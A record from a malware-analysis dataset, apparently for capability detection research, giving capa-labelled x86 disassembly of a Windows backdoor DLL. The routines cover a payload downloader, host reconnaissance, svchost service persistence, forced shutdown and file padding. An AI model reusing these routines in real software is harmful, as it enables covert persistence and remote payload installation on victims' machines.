joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009410
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.1000b240
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.1000b240
pop ecx
ret

Function at 0x10009660
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x100095e0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10009870
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.10009820
add esp, 8
test eax, eax
jne 0x100098d1
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x100098f5
push esi
call fcn.100097b0
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x10009900
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000995a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push connect
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000998b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x10009a2b
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x100099eb
cmp word [esp + 0x28], 0x5a4d
jne 0x10009a12
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10009a1a
jmp 0x100099bd
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret
Function at 0x1000a6d0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000a790
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push esi
lea eax, [esp + 0x74]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x78], 0x66
mov byte [esp + 0x15a], bl
mov dword [esp + 0x7c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c0], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], pe_nt_image_headers32
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c1]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push connect
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c0]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x100183a0
push eax
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000a867
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000a87a
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2c8]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x1c0]
lea edi, [esp + 0x124]
mov dword [esp + 0x120], edx
lea eax, [esp + 0x50]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x64]
mov word [esp + 0x114], cx
call fcn.1000a6d0
lea edx, [esp + 0x30]
mov dword [esp + 0x118], eax
push edx
mov dword [esp + 0x34], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
shr eax, 0x14
inc eax
mov dword [esp + 0x11c], eax
call fcn.1000a730
mov ecx, dword [esp + 0x2cc]
lea edx, [esp + 0x74]
mov dword [esp + 0x158], ecx
push 0x14c
push edx
mov ecx, ebx
mov byte [esp + 0x15e], al
call fcn.100024e0
pop edi
pop esi
pop ebx
add esp, 0x2b4
ret
Function at 0x1000aec0
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10018a7c]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000aeb0
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10018a7c]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x10018a7c]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push connect
push connect
push connect
push connect
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10018c04
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10018c04
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000ae60
push 0x10018c04
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x10018ac0], eax
call fcn.1000ae00
push edi
push edi
push 4
call fcn.1000ae00
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000c240
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000bba0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10016a08], eax
push edi
push edi
call fcn.1000aac0
add esp, 8
push 0x3e8
call esi
jmp 0x1000b005

Function at 0x1000b020
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000b09f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000b08d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000b08d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000b05c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000b0b0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018abc], eax
jne 0x1000b0cb
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Pejr__fkmra_u_Okmqg_gu_Ucqu
push str.Bpuy_Hoc_fxnBqi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018ab8], eax
jne 0x1000b104
pop ecx
ret
mov edx, dword [0x10018abc]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018ab8]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.TarddrdmTgzvdwsqf_Nxlijd_Qymshncj__np
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000b140
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Bpuy_Hoc_fxnBqi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], OpenProcess
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000b380
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Bpuy_Hoc_fxnBqi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000b2a0
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000b300
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000b2a0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000b300
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000b820
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Bpuy_Hoc_fxnBqi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000b8ec
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000b980
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x170
mov ecx, 0xd
lea eax, [esp]
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x1c]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000ba6a
mov ecx, 0x4a
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], al
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x4c]
push edx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x10], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x50]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x28], 0x12c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000ba5f
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x4c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000ba6a
lea edi, [esp + 0x4c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.Bpuy_Hoc_fxnBqi
and ecx, 0xffff
lea ecx, [esp + ecx + 0x51]
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x170
ret
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
add esp, 0x170
ret

Function at 0x1000ba80
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000b820
test eax, eax
jne 0x1000ba8e
call fcn.1000b380
call fcn.1000b980
test eax, eax
jne 0x1000ba9c
jmp fcn.1000b580
ret
Function at 0x1000baa0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000bb8a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x1000bb66
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x1000bb27
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000bb48
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x1000bb2b
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x1000bb15
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10016d88]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret
Function at 0x1000c090
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000c228
push 0x37a
push str.Bpuy_Hoc_fxnBqi
call fcn.1000bcd0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018acc
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018acc
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p___qpqTPnciti_i_xha
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000c16d
mov dword [0x10018a7c], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018a6c], eax
call fcn.100069f0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10005f70
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call fcn.1000b020
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000b0b0
add esp, 4
call fcn.1000b380
call fcn.1000b580
push 0x1000
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
push 0x10018acc
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p___qpqTPnciti_i_xha
call fcn.1000baa0
add esp, 4
call fcn.1000b200
call fcn.1000b140
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc